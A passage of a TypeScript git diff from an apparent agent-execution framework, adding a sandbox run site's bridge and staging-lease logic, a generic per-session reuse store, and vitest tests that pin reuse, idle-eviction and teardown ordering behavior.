+      const finalizeLaunchEnv = (): Promise<Record<string, string>> =>
+        (launchEnvPromise ??= (async () => {
+          const paperclip = await paperclipStart;
+          // The paperclip bridge token is run-scoped: it lives for this run only and
+          // never enters a reuse payload (Amendment B). The site hands it to the
+          // engine's `finalizeLaunchEnv`, the sole consumer of a contribution, and
+          // retains nothing.
+          const contributions: LaunchEnvironmentContribution[] = [];
+          if (paperclip) {
+            contributions.push({ scope: "run", env: paperclip.env } as unknown as RunScopedContribution);
+            await options.onPaperclipBridgeLog();
+          }
+          launchEnv = options.finalizeLaunchEnv(contributions);
+          return launchEnv;
+        })());
+      const processSessionStart = options.measureBridgeStep("bridge.process-session", () =>
+        options.startProcessSessionBridge({ runtimeRootDir: stagedRootDir, launchEnv: finalizeLaunchEnv }),
+      );
+      // Settle BOTH starts, so a partial failure can stop whichever bridge started.
+      const [paperclip, processSession] = await Promise.allSettled([paperclipStart, processSessionStart]);
+      controlBridge = paperclip.status === "fulfilled" ? paperclip.value : null;
+      agentBridge = processSession.status === "fulfilled" ? processSession.value : null;
+      const failure =
+        paperclip.status === "rejected"
+          ? paperclip.reason
+          : processSession.status === "rejected"
+            ? processSession.reason
+            : null;
+      if (failure) throw failure;
+      // Guarantee the merge ran even if the process-session bridge returned without
+      // consuming the launch env (memoized, so a no-op if it did).
+      await finalizeLaunchEnv();
+      if (controlBridge) {
+        options.ledger.register({ id: "control_bridge", payload: controlBridge, scope: "per_run" });
+      }
+      if (agentBridge) {
+        options.ledger.register({ id: "agent_bridge", payload: agentBridge, scope: "per_run" });
+      }
+      return { controlBridge, agentBridge, launchEnv };
+    },
+
+    reuse(): SessionReuseStore<StagedRuntimeStoreEntry> {
+      return store;
+    },
+
+    reuseCandidate(resources: ReadyRunResources): SandboxReuseCandidate {
+      const stagedResource = resources.get("staged_runtime");
+      if (!stagedResource) {
+        throw new Error("sandbox run site cannot name a reuse candidate without a staged_runtime resource");
+      }
+      // The reuse payload carries the staged files only — no credential material.
+      return { stagedRuntime: stagedResource.stagedRuntime };
+    },
+
+    async syncBack(): Promise<void> {
+      try {
+        // Stop both bridges, then run the managed-home copy-back (mirrors the CLI
+        // finally: stop bridge, then restore workspace).
+        await options.stopBridges({ controlBridge, agentBridge });
+      } finally {
+        // Release the per-session staging lease in a finally, so an earlier
+        // teardown fault never strands it and deadlocks the next same-session run.
+        leaseRelease?.();
+        leaseRelease = null;
+      }
+    },
+
+    get staged(): StagedWorkspace | null {
+      return staged;
+    },
+
+    get controlBridge(): AdapterExecutionTargetPaperclipBridgeHandle | null {
+      return controlBridge;
+    },
+
+    get agentBridge(): AdapterExecutionTargetProcessSessionBridgeHandle | null {
+      return agentBridge;
+    },
+
+    get stagingLeaseRelease(): (() => void) | null {
+      return leaseRelease;
+    },
+  };
+}
+
+// Per-`sessionKey` async lease: chains each caller after the previous one so the
+// stage-or-reuse decision for a session runs serially, then keeps the lease held
+// until the run releases it. Two overlapping runs of the same session can never
+// stage into the same remote workspace at once: the loser waits, then re-checks
+// the cache before it decides.
+async function withStagingLease<T>(
+  locks: Map<string, Promise<unknown>>,
+  key: string,
+  fn: () => Promise<T>,
+): Promise<{ value: T; release: () => void }> {
+  const prev = locks.get(key) ?? Promise.resolve();
+  let releaseGate!: () => void;
+  const gate = new Promise<void>((resolve) => {
+    releaseGate = resolve;
+  });
+  const mine: Promise<unknown> = prev.then(() => gate);
+  locks.set(key, mine);
+  await prev.catch(() => {});
+  let released = false;
+  const release = () => {
+    if (released) return;
+    released = true;
+    releaseGate();
+    if (locks.get(key) === mine) locks.delete(key);
+  };
+  try {
+    return { value: await fn(), release };
+  } catch (error) {
+    if (!released) release();
+    throw error;
+  }
+}
diff --git a/packages/adapter-utils/src/acpx-engine/session-reuse-store.test.ts b/packages/adapter-utils/src/acpx-engine/session-reuse-store.test.ts
new file mode 100644
index 00000000000..0af143f3898
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/session-reuse-store.test.ts
@@ -0,0 +1,160 @@
+// Tests for the generic per-session reuse store (Phase 18).
+//
+// The store backs both site caches over a caller-provided map. These tests pin
+// the four behaviors the two caches had before the refactor: borrow reads
+// without removal and clears the per-entry idle timer; discard is
+// identity-guarded and releases once; save arms a per-entry idle timer that
+// discards without a run; and the run-start sweep runs each eviction under the
+// optional per-key lease.
+
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { createSessionReuseStore } from "./session-reuse-store.js";
+
+interface Entry {
+  readonly id: string;
+  lastUsedAt: number;
+  cleanupTimer?: ReturnType<typeof setTimeout>;
+}
+
+function hostConfig(entries: Map<string, Entry>, released: Entry[], idleMs: number) {
+  return {
+    entries,
+    now: () => Date.now(),
+    idleMs,
+    lastUsedAt: (entry: Entry) => entry.lastUsedAt,
+    getTimer: (entry: Entry) => entry.cleanupTimer,
+    setTimer: (entry: Entry, timer: ReturnType<typeof setTimeout> | undefined) => {
+      entry.cleanupTimer = timer;
+    },
+    perEntryTimer: true,
+    release: (entry: Entry) => {
+      released.push(entry);
+    },
+  };
+}
+
+describe("session reuse store", () => {
+  beforeEach(() => {
+    vi.useFakeTimers();
+  });
+  afterEach(() => {
+    vi.useRealTimers();
+  });
+
+  it("test_borrow_reads_without_removal_and_clears_the_per_entry_idle_timer", async () => {
+    const entries = new Map<string, Entry>();
+    const released: Entry[] = [];
+    const store = createSessionReuseStore<Entry>(hostConfig(entries, released, 1000));
+
+    const entry: Entry = { id: "a", lastUsedAt: Date.now() };
+    store.save("k", entry);
+    expect(entry.cleanupTimer).toBeDefined();
+
+    // A borrow reads the entry and leaves it in the store, so a second borrow
+    // still finds it.
+    expect(store.borrow("k")).toBe(entry);
+    expect(store.borrow("k")).toBe(entry);
+
+    // The borrow cleared the per-entry idle timer, so the entry does not expire
+    // while it is in use. Advance well past the idle bound.
+    await vi.advanceTimersByTimeAsync(5000);
+    expect(released).toEqual([]);
+    expect(store.borrow("k")).toBe(entry);
+    // The entry stays in the caller's map for a later run to inspect.
+    expect(entries.get("k")).toBe(entry);
+  });
+
+  it("test_discard_is_identity_guarded_and_fires_release_once", async () => {
+    const entries = new Map<string, Entry>();
+    const released: Entry[] = [];
+    const store = createSessionReuseStore<Entry>({
+      entries,
+      now: () => Date.now(),
+      idleMs: 0,
+      lastUsedAt: (entry) => entry.lastUsedAt,
+      release: (entry) => {
+        released.push(entry);
+      },
+    });
+
+    const first: Entry = { id: "first", lastUsedAt: Date.now() };
+    store.save("k", first);
+
+    // The first discard removes the entry and fires the release once.
+    await store.discard("k");
+    expect(released).toEqual([first]);
+    expect(store.borrow("k")).toBeUndefined();
+
+    // A second discard of the same key finds no entry, so it releases nothing.
+    await store.discard("k");
+    expect(released).toEqual([first]);
+
+    // A re-saved entry is a new entry. A discard of the key releases the new
+    // entry, never the already-released first entry again.
+    const second: Entry = { id: "second", lastUsedAt: Date.now() };
+    store.save("k", second);
+    await store.discard("k");
+    expect(released).toEqual([first, second]);
+  });
+
+  it("test_save_arms_a_per_entry_idle_timer_that_discards_without_a_run", async () => {
+    const entries = new Map<string, Entry>();
+    const released: Entry[] = [];
+    const store = createSessionReuseStore<Entry>(hostConfig(entries, released, 1000));
+
+    const entry: Entry = { id: "a", lastUsedAt: Date.now() };
+    store.save("k", entry);
+
+    // Before the idle deadline the entry is still present and unreleased.
+    await vi.advanceTimersByTimeAsync(999);
+    expect(released).toEqual([]);
+
+    // At the idle deadline the armed timer discards the entry with no run and
+    // no explicit discard call.
+    await vi.advanceTimersByTimeAsync(1);
+    expect(released).toEqual([entry]);
+    expect(store.borrow("k")).toBeUndefined();
+    expect(entries.has("k")).toBe(false);
+  });
+
+  it("test_evict_idle_sweep_runs_under_per_key_lease", async () => {
+    const entries = new Map<string, Entry>();
+    const released: Entry[] = [];
+    const leaseOrder: string[] = [];
+    let now = 0;
+    const store = createSessionReuseStore<Entry>({
+      entries,
+      now: () => now,
+      idleMs: 1000,
+      lastUsedAt: (entry) => entry.lastUsedAt,
+      // The sandbox lane leaves the per-entry timer off and relies on the
+      // run-start sweep only.
+      release: (entry) => {
+        released.push(entry);
+      },
+      withEvictLease: async (key, critical) => {
+        leaseOrder.push(`lease:${key}`);
+        await critical();
+        leaseOrder.push(`release:${key}`);
+      },
+    });
+
+    store.save("stale", { id: "stale", lastUsedAt: 0 });
+    store.save("fresh", { id: "fresh", lastUsedAt: 0 });
+
+    // Move the clock so only the "stale" entry crosses the idle bound. Touch
+    // "fresh" so it stays inside the window.
+    now = 1500;
+    store.borrow("fresh");
+    store.save("fresh", { id: "fresh2", lastUsedAt: now });
+
+    await store.evictIdle(now);
+
+    // Only the stale entry evicts, and its critical section ran inside the
+    // per-key lease (lease acquired, critical ran, lease released, in order).
+    expect(released.map((entry) => entry.id)).toEqual(["stale"]);
+    expect(leaseOrder).toEqual(["lease:stale", "release:stale"]);
+    expect(store.borrow("stale")).toBeUndefined();
+    expect(store.borrow("fresh")).toEqual({ id: "fresh2", lastUsedAt: 1500 });
+  });
+});
diff --git a/packages/adapter-utils/src/acpx-engine/session-reuse-store.ts b/packages/adapter-utils/src/acpx-engine/session-reuse-store.ts
new file mode 100644
index 00000000000..a8ca1f8994d
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/session-reuse-store.ts
@@ -0,0 +1,189 @@
+// The generic per-session reuse store.
+//
+// One `SessionReuseStore<T>` implementation backs both site caches. The host
+// site saves a live runtime and session handle. The sandbox site saves the
+// staged files. The store is generic in the saved type, so a generic `save`
+// cannot read what a site saves. `RunSite.reuseCandidate()` names the concrete
+// type per site.
+//
+// The store operates OVER a caller-provided map, not a private internal map.
+// The host lane passes its warm-handle map; the sandbox lane passes its staged-
+// runtime map. Both maps persist across runs, so a saved entry stays visible to
+// a later run of the same session. Each entry carries its own last-used time and
+// its own optional per-entry idle timer, so the store reads and writes those
+// through the caller-supplied accessors. This keeps the exact shape both caches
+// had before this refactor, so a caller that inspects the map still reads the
+// same entries.
+//
+// The store keeps the exact behavior the two caches had before this refactor:
+//
+//   * `borrow` reads without removal. It keeps today's visibility for
+//     overlapping runs of the same session. It clears the entry's per-entry
+//     idle timer, because an in-use entry must not expire under its own timer.
+//   * `save` sets the entry in the map. When the store has a per-entry idle
+//     timer, `save` arms an unref'd timer that discards the entry at the idle
+//     deadline without a run (today's `scheduleIdleHandleCleanup`).
+//   * `discard` is an identity-guarded removal that fires the idempotent
+//     release once. It acts on the entry that is at the key now, so a re-saved
+//     entry is safe and a second discard is a no-op.
+//   * `evictIdle` is the run-start sweep (today's `cleanupIdleHandles` and
+//     `cleanupIdleStagedRuntimes`). The host lane runs the critical section
+//     directly. The sandbox lane runs it under its per-key staging lease and
+//     re-checks the idle window inside the lease.
+
+import type { SessionReuseStore } from "./run-contracts.js";
+
+/**
+ * The construction options for a reuse store. The public `SessionReuseStore<T>`
+ * surface stays generic; these options carry the per-lane behavior the store
+ * needs but the interface does not name: the backing map, the clock, the idle
+ * bound, how to read an entry's last-used time and per-entry timer, how to
+ * release an entry, whether to arm a per-entry timer, and the optional eviction
+ * lease.
+ */
+export interface SessionReuseStoreConfig<T> {
+  /**
+   * The map the store reads and writes. The caller owns it, so a caller that
+   * inspects the map still reads the same entries. The map persists across runs.
+   */
+  readonly entries: Map<string, T>;
+  /** The clock. The store reads it for the idle deadline and the sweep. */
+  readonly now: () => number;
+  /**
+   * The idle bound, in milliseconds. When it is `0` or less, the store arms no
+   * per-entry timer and the sweep evicts nothing.
+   */
+  readonly idleMs: number;
+  /** Read an entry's last-used time. The store compares it to the idle bound. */
+  readonly lastUsedAt: (entry: T) => number;
+  /**
+   * Release an entry's resources. The store calls it once per entry on a
+   * discard, on a per-entry timer fire, or on an idle sweep. The store guards
+   * every release with a map-identity check, so a discarded entry never
+   * releases twice.
+   */
+  readonly release: (entry: T) => void | Promise<void>;
+  /**
+   * Read an entry's per-entry idle timer, or `undefined` when it holds none.
+   * The host lane supplies this; the sandbox lane omits it and arms no timer.
+   */
+  readonly getTimer?: (entry: T) => ReturnType<typeof setTimeout> | undefined;
+  /**
+   * Write (or clear with `undefined`) an entry's per-entry idle timer. The host
+   * lane supplies this; the sandbox lane omits it.
+   */
+  readonly setTimer?: (entry: T, timer: ReturnType<typeof setTimeout> | undefined) => void;
+  /**
+   * Arm a per-entry idle timer on `save`. The host lane sets it true. The
+   * sandbox lane leaves it false and relies on the run-start sweep only.
+   */
+  readonly perEntryTimer?: boolean;
+  /**
+   * Run each eviction critical section under a per-key lease. The sandbox lane
+   * supplies its per-key staging lease so the sweep re-checks the entry inside
+   * the lease. The host lane omits it and the sweep runs the critical section
+   * directly.
+   */
+  readonly withEvictLease?: (key: string, critical: () => Promise<void>) => Promise<void>;
+}
+
+/**
+ * Create a generic per-session reuse store over the caller-provided map. The
+ * store holds at most one entry per session key. Each entry carries its saved
+ * value, its last-used time, and an optional per-entry idle timer, all read
+ * through the config accessors.
+ */
+export function createSessionReuseStore<T>(
+  config: SessionReuseStoreConfig<T>,
+): SessionReuseStore<T> {
+  const { entries } = config;
+
+  function clearEntryTimer(entry: T): void {
+    const timer = config.getTimer?.(entry);
+    if (timer === undefined) return;
+    clearTimeout(timer);
+    config.setTimer?.(entry, undefined);
+  }
+
+  // Release an entry once and drop it from the map when it is still the current
+  // entry at the key. The map-identity guard makes the release idempotent: the
+  // synchronous `delete` runs before the awaited release, so a second release of
+  // the same entry finds a different or absent entry at the key and stops.
+  async function releaseEntry(key: string, entry: T): Promise<void> {
+    clearEntryTimer(entry);
+    if (entries.get(key) !== entry) return;
+    entries.delete(key);
+    await config.release(entry);
+  }
+
+  function armTimer(key: string, entry: T): void {
+    if (!config.perEntryTimer || config.idleMs <= 0) return;
+    clearEntryTimer(entry);
+    const delayMs = Math.max(1, config.lastUsedAt(entry) + config.idleMs - config.now());
+    const timer = setTimeout(() => {
+      void (async () => {
+        if (entries.get(key) !== entry) return;
+        // A later touch can move `lastUsedAt` forward, so re-check the idle
+        // window and re-arm the timer when the entry is still in use.
+        if (config.now() - config.lastUsedAt(entry) < config.idleMs) {
+          armTimer(key, entry);
+          return;
+        }
+        await releaseEntry(key, entry);
+      })();
+    }, delayMs);
+    timer.unref?.();
+    config.setTimer?.(entry, timer);
+  }
+
+  return {
+    borrow(sessionKey: string): T | undefined {
+      const entry = entries.get(sessionKey);
+      if (entry === undefined) return undefined;
+      // The entry is in use now, so clear its per-entry idle timer. The next
+      // `save` re-arms a fresh timer after the run finishes.
+      clearEntryTimer(entry);
+      return entry;
+    },
+
+    save(sessionKey: string, entry: T): void {
+      // The caller sets the entry's last-used time before it saves, so `save`
+      // sets the entry as-is and arms its timer from that time.
+      entries.set(sessionKey, entry);
+      armTimer(sessionKey, entry);
+    },
+
+    discard(sessionKey: string): Promise<void> {
+      const entry = entries.get(sessionKey);
+      // `releaseEntry` deletes the key synchronously and then fires the release,
+      // so the returned promise lets the caller await the release when it must
+      // finish before a downstream resource release.
+      if (entry === undefined) return Promise.resolve();
+      return releaseEntry(sessionKey, entry);
+    },
+
+    async evictIdle(now: number): Promise<void> {
+      if (config.idleMs <= 0) return;
+      const stale: Array<[string, T]> = [];
+      for (const [key, entry] of entries.entries()) {
+        if (now - config.lastUsedAt(entry) >= config.idleMs) stale.push([key, entry]);
+      }
+      for (const [key, entry] of stale) {
+        const critical = async (): Promise<void> => {
+          if (entries.get(key) !== entry) return;
+          // Under a lease the sweep re-checks the idle window, so a run that
+          // re-saved the key while the lease was held keeps its entry.
+          if (config.withEvictLease && config.now() - config.lastUsedAt(entry) < config.idleMs) {
+            return;
+          }
+          await releaseEntry(key, entry);
+        };
+        if (config.withEvictLease) {
+          await config.withEvictLease(key, critical);
+        } else {
+          await critical();
+        }
+      }
+    },
+  };
+}
diff --git a/packages/adapter-utils/src/acpx-engine/settlement-characterization.test.ts b/packages/adapter-utils/src/acpx-engine/settlement-characterization.test.ts
new file mode 100644
index 00000000000..d546a956ded
--- /dev/null
+++ b/packages/adapter-utils/src/acpx-engine/settlement-characterization.test.ts
@@ -0,0 +1,1058 @@
+// Characterization baselines for ACP run settlement/teardown. These tests PIN
+// the current behavior of the engine's teardown orchestration (Layer A), the
+// `restoreWorkspace` internal order plus native-sync selection (Layer B), and
+// the per-adapter sync-back registration seam (Layer C). They never change
+// production code; each expectation records what the code does today.
+//
+// The harness top (imports, the execution-target mock, `makeTempRoot`, the local
+// sandbox runner, `buildRuntime`, `runExecutor`) is copied from
+// `execute.test.ts` (lines 1-336) so this file drives the same engine the same
+// way. The teardown helpers (`stubBridges`, `throwingHandoffContext`,
+// `completedTurn`, `throwingTurn`, `setupRemoteSandbox`, `remoteArgs`) mirror the
+// F2/F3 describes in `execute.test.ts` (~:2602, ~:4858).
+import fs from "node:fs/promises";
+import os from "node:os";
+import path from "node:path";
+import { execFile as execFileCallback } from "node:child_process";
+import { promisify } from "node:util";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import type { AdapterExecutionContext, AdapterRuntimeMcpAccess } from "@paperclipai/adapter-utils";
+import {
+  startAdapterExecutionTargetPaperclipBridge,
+  startAdapterExecutionTargetProcessSessionBridge,
+} from "@paperclipai/adapter-utils/execution-target";
+
+// Wrap the staging seam + both sandbox bridges in call-recording spies that
+// still delegate to the real implementations. A runner-backed sandbox test
+// exercises them end-to-end against a local runner, while a teardown test can
+// override just the bridges with stop spies. (Copied from execute.test.ts.)
+vi.mock("@paperclipai/adapter-utils/execution-target", async (importActual) => {
+  const actual = await importActual<typeof import("@paperclipai/adapter-utils/execution-target")>();
+  return {
+    ...actual,
+    prepareAdapterExecutionTargetRuntime: vi.fn(actual.prepareAdapterExecutionTargetRuntime),
+    startAdapterExecutionTargetPaperclipBridge: vi.fn(actual.startAdapterExecutionTargetPaperclipBridge),
+    startAdapterExecutionTargetProcessSessionBridge: vi.fn(actual.startAdapterExecutionTargetProcessSessionBridge),
+  };
+});
+import {
+  createAcpxEngineExecutor,
+  type AcpxEngineExecutorOptions,
+} from "./execute.js";
+import { runChildProcess } from "../server-utils.js";
+import {
+  mirrorDirectory,
+  prepareSandboxManagedRuntime,
+  type SandboxManagedRuntimeClient,
+  type SandboxSyncOperation,
+  type SandboxSyncResult,
+} from "../sandbox-managed-runtime.js";
+
+const execFile = promisify(execFileCallback);
+const tempRoots: string[] = [];
+
+async function makeTempRoot() {
+  const root = await fs.mkdtemp(path.join(os.tmpdir(), "paperclip-acpx-skills-"));
+  tempRoots.push(root);
+  return root;
+}
+
+afterEach(async () => {
+  await Promise.all(
+    tempRoots.splice(0).map((root) =>
+      fs.rm(root, { recursive: true, force: true, maxRetries: 5, retryDelay: 50 }),
+    ),
+  );
+});
+
+function createLocalSandboxRunner(
+  onExecute?: (input: {
+    command: string;
+    args?: string[];
+    cwd?: string;
+    env?: Record<string, string>;
+  }) => void,
+) {
+  let counter = 0;
+  return {
+    execute: async (input: {
+      command: string;
+      args?: string[];
+      cwd?: string;
+      env?: Record<string, string>;
+      stdin?: string;
+      timeoutMs?: number;
+      onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
+      onSpawn?: (meta: { pid: number; startedAt: string }) => Promise<void>;
+    }) => {
+      counter += 1;
+      onExecute?.(input);
+      const command = input.command === "bash" ? "/bin/bash" : input.command;
+      return await runChildProcess(`acpx-sandbox-run-${counter}`, command, input.args ?? [], {
+        cwd: input.cwd ?? process.cwd(),
+        env: input.env ?? {},
+        stdin: input.stdin,
+        timeoutSec: Math.max(1, Math.ceil((input.timeoutMs ?? 30_000) / 1000)),
+        graceSec: 5,
+        onLog: input.onLog ?? (async () => {}),
+        onSpawn: input.onSpawn
+          ? async (meta) => input.onSpawn?.({ pid: meta.pid, startedAt: meta.startedAt })
+          : undefined,
+      });
+    },
+  };
+}
+
+function buildRuntime(
+  onSetConfigOption?: (input: { key: string; value: string }) => void,
+  onEnsureSession?: (input: Record<string, unknown>) => void,
+) {
+  return {
+    ensureSession: async (input: Record<string, unknown>) => {
+      onEnsureSession?.(input);
+      return {
+        backendSessionId: "backend-session",
+        agentSessionId: "agent-session",
+        runtimeSessionName: "runtime-session",
+      };
+    },
+    startTurn: () => ({
+      events: (async function* () {
+        yield { type: "done", stopReason: "end_turn" };
+      })(),
+      result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+      cancel: async () => {},
+    }),
+    setConfigOption: async (input: { key: string; value: string }) => {
+      onSetConfigOption?.(input);
+    },
+    close: async () => {},
+  };
+}
+
+async function runExecutor(
+  config: Record<string, unknown>,
+  options: {
+    context?: Record<string, unknown>;
+    executionTransport?: Record<string, unknown>;
+    authToken?: string;
+    executionTarget?: Record<string, unknown>;
+    runtimeMcp?: AdapterRuntimeMcpAccess;
+    prepareRemoteManagedHome?: AcpxEngineExecutorOptions["prepareRemoteManagedHome"];
+    startupTraceContext?: AdapterExecutionContext["startupTraceContext"];
+  } = {},
+) {
+  const runtimeOptions: Record<string, unknown>[] = [];
+  const configOptions: Array<{ key: string; value: string }> = [];
+  const sessionInputs: Record<string, unknown>[] = [];
+  const meta: Record<string, unknown>[] = [];
+  const logs: Array<{ stream: string; text: string }> = [];
+  const events: Array<{ eventType: string; payload?: Record<string, unknown> }> = [];
+  const execute = createAcpxEngineExecutor({
+    ...(options.prepareRemoteManagedHome
+      ? { prepareRemoteManagedHome: options.prepareRemoteManagedHome }
+      : {}),
+    createRuntime: (createOptions) => {
+      runtimeOptions.push(createOptions as unknown as Record<string, unknown>);
+      return buildRuntime(
+        ({ key, value }) => configOptions.push({ key, value }),
+        (input) => sessionInputs.push(input),
+      ) as never;
+    },
+  });
+
+  const result = await execute({
+    runId: "run-1",
+    agent: { id: "agent-1", companyId: "company-1" },
+    runtime: {},
+    config,
+    context: options.context ?? {},
+    executionTransport: options.executionTransport,
+    authToken: options.authToken,
+    executionTarget: options.executionTarget,
+    runtimeMcp: options.runtimeMcp,
+    startupTraceContext: options.startupTraceContext,
+    onLog: async (stream: "stdout" | "stderr", text: string) => {
+      logs.push({ stream, text });
+    },
+    onMeta: async (payload: unknown) => {
+      meta.push(payload as Record<string, unknown>);
+    },
+    onEvent: async (event: { eventType: string; payload?: Record<string, unknown> }) => {
+      events.push(event);
+    },
+  } as never);
+
+  expect(result.exitCode).toBe(0);
+  return { logs, meta, events, runtimeOptions, configOptions, sessionInputs, result };
+}
+
+// ---------------------------------------------------------------------------
+// Shared teardown-test helpers (mirror execute.test.ts F3 describe, ~:4858).
+// ---------------------------------------------------------------------------
+
+const okHandle = {
+  backendSessionId: "backend-session",
+  agentSessionId: "agent-session",
+  runtimeSessionName: "runtime-session",
+};
+
+async function setupRemoteSandbox() {
+  const root = await makeTempRoot();
+  const stateDir = path.join(root, "state");
+  const localCwd = path.join(root, "worktree");
+  const remoteCwd = path.join(root, "remote-workspace");
+  await fs.mkdir(localCwd, { recursive: true });
+  await fs.mkdir(remoteCwd, { recursive: true });
+  await fs.writeFile(path.join(localCwd, "hello.txt"), "hi", "utf8");
+  const executionTarget = {
+    kind: "remote",
+    transport: "sandbox",
+    providerKey: "fake-plugin",
+    remoteCwd,
+    runner: createLocalSandboxRunner(),
+  };
+  return { root, stateDir, localCwd, remoteCwd, executionTarget };
+}
+
+// Stub both sandbox bridges with stop spies collected per start, so a test can
+// assert the bridges stopped without running the real bridge transport.
+function stubBridges() {
+  const paperclipStops: Array<ReturnType<typeof vi.fn>> = [];
+  const processStops: Array<ReturnType<typeof vi.fn>> = [];
+  vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => {
+    const stop = vi.fn(async () => {});
+    paperclipStops.push(stop);
+    return { env: {}, stop } as never;
+  });
+  vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => {
+    const stop = vi.fn(async () => {});
+    processStops.push(stop);
+    return { agentCommand: null, stop } as never;
+  });
+  const anyStopped = (stops: Array<ReturnType<typeof vi.fn>>) =>
+    stops.some((stop) => stop.mock.calls.length > 0);
+  return { paperclipStops, processStops, anyStopped };
+}
+
+function throwingHandoffContext(): Record<string, unknown> {
+  const context: Record<string, unknown> = {};
+  Object.defineProperty(context, "paperclipSessionHandoffMarkdown", {
+    enumerable: false,
+    get() {
+      throw new Error("prompt build boom");
+    },
+  });
+  return context;
+}
+
+function completedTurn() {
+  return {
+    events: (async function* () {})(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+function throwingTurn() {
+  return {
+    events: (async function* () {
+      throw new Error("turn upstream boom");
+    })(),
+    result: Promise.resolve({ status: "completed", stopReason: "end_turn" }),
+    cancel: async () => {},
+  };
+}
+
+function remoteArgs(
+  stateDir: string,
+  localCwd: string,
+  executionTarget: unknown,
+  overrides: Record<string, unknown> = {},
+) {
+  return {
+    agent: { id: "agent-1", companyId: "company-1" },
+    runtime: {},
+    config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir, cwd: localCwd },
+    context: {},
+    authToken: "real-run-jwt",
+    executionTarget,
+    onLog: async () => {},
+    onMeta: async () => {},
+    onEvent: async () => {},
+    ...overrides,
+  };
+}
+
+// ===========================================================================
+// Layer A — engine teardown orchestration.
+// ===========================================================================
+describe("ACP settlement — Layer A: engine teardown orchestration", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("test_clean_completed_remote_teardown_runs_bridge_stop_then_sync_back_then_lease_release", async () => {
+    // cleanupRemoteBridges (execute.ts:2306-2326) fixes the sub-order for a clean
+    // exit: stop both bridges (allSettled) → run the managed-home sync-back
+    // (remoteManagedHomeTeardown) → release the per-session staging lease LAST in
+    // a finally. Record the order through spies threaded into the stubbed bridges
+    // and the seam teardown, and read the still-held lease during the sync-back.
+    const { stateDir, localCwd, executionTarget } = await setupRemoteSandbox();
+    const order: string[] = [];
+    vi.mocked(startAdapterExecutionTargetPaperclipBridge).mockImplementation(async () => ({
+      env: {},
+      stop: vi.fn(async () => {
+        order.push("bridge-stop");
+      }),
+    }) as never);
+    vi.mocked(startAdapterExecutionTargetProcessSessionBridge).mockImplementation(async () => ({
+      agentCommand: null,
+      stop: vi.fn(async () => {
+        order.push("bridge-stop");
+      }),
+    }) as never);
+
+    const stagingLocks = new Map<string, Promise<unknown>>();
+    let leaseSizeDuringSyncBack = -1;
+    const execute = createAcpxEngineExecutor({
+      stagingLocks,
+      warmHandles: new Map(),
+      stagedRuntimes: new Map(),
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          close: vi.fn(async () => {}),
+        }) as never,
+      prepareRemoteManagedHome: async (input) => {
+        const stagedRuntime = await input.stage([]);
+        return {
+          stagedRuntime,
+          teardown: async () => {
+            order.push("sync-back");
+            // The lease is still held while the sync-back runs; it releases only
+            // afterward, in the cleanupRemoteBridges finally.
+            leaseSizeDuringSyncBack = stagingLocks.size;
+          },
+        };
+      },
+    });
+
+    const result = await execute({
+      runId: "clean-order",
+      ...remoteArgs(stateDir, localCwd, executionTarget),
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    // Both bridge stops precede the sync-back; the sync-back is the last recorded
+    // step before the lease release.
+    expect(order).toEqual(["bridge-stop", "bridge-stop", "sync-back"]);
+    // The lease was still held during the sync-back...
+    expect(leaseSizeDuringSyncBack).toBe(1);
+    // ...and released last, so the lock map never strands the next run.
+    expect(stagingLocks.size).toBe(0);
+  });
+
+  it("test_clean_persistent_local_run_closes_and_relaunches_amendment_b", async () => {
+    // Amendment B: a clean persistent local turn closes the runtime instead of
+    // warm-saving it. The host-lane reuse candidate carries the run-minted API key,
+    // which is never revoked, so the credential gate fails and the settlement
+    // discards (close-and-relaunch).
+    const root = await makeTempRoot();
+    const closeSpy = vi.fn(async () => {});
+    const warmHandles = new Map();
+    const execute = createAcpxEngineExecutor({
+      warmHandles,
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          setConfigOption: async () => {},
+          close: closeSpy,
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "warm-save",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: {
+        agent: "custom",
+        agentCommand: "node ./fake-acp.js",
+        stateDir: path.join(root, "state"),
+        mode: "persistent",
+        // A long idle window so the scheduled cleanup timer cannot fire during the
+        // assertions and evict the warm handle. The warm-save decision only needs
+        // warmIdleMs>0. The test clears the timer below, so it never outlives the
+        // test.
+        warmHandleIdleMs: 60_000,
+      },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+      onSpawn: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    // The runtime closed and relaunched: one close, no warm entry.
+    expect(closeSpy).toHaveBeenCalledTimes(1);
+    expect(warmHandles.size).toBe(0);
+  });
+
+  it("test_completed_non_persistent_local_run_closes_runtime_once", async () => {
+    // The default (non-persistent) completed turn closes the runtime with the
+    // clean-completion reason (execute.ts:3922-3926).
+    const root = await makeTempRoot();
+    const closeSpy = vi.fn(async () => {});
+    const execute = createAcpxEngineExecutor({
+      createRuntime: () =>
+        ({
+          ensureSession: async () => okHandle,
+          startTurn: () => completedTurn(),
+          close: closeSpy,
+        }) as never,
+    });
+
+    const result = await execute({
+      runId: "clean-close",
+      agent: { id: "agent-1", companyId: "company-1" },
+      runtime: {},
+      config: { agent: "custom", agentCommand: "node ./fake-acp.js", stateDir: path.join(root, "state") },
+      context: {},
+      onLog: async () => {},
+      onMeta: async () => {},
+    } as never);
+
+    expect(result.exitCode).toBe(0);
+    expect(closeSpy).toHaveBeenCalledTimes(1);
+    expect((closeSpy.mock.calls[0]! as unknown[])[0]).toMatchObject({
+      reason: "paperclip completed turn cleanup",
+      discardPersistentState: false,
+    });
+  });
+
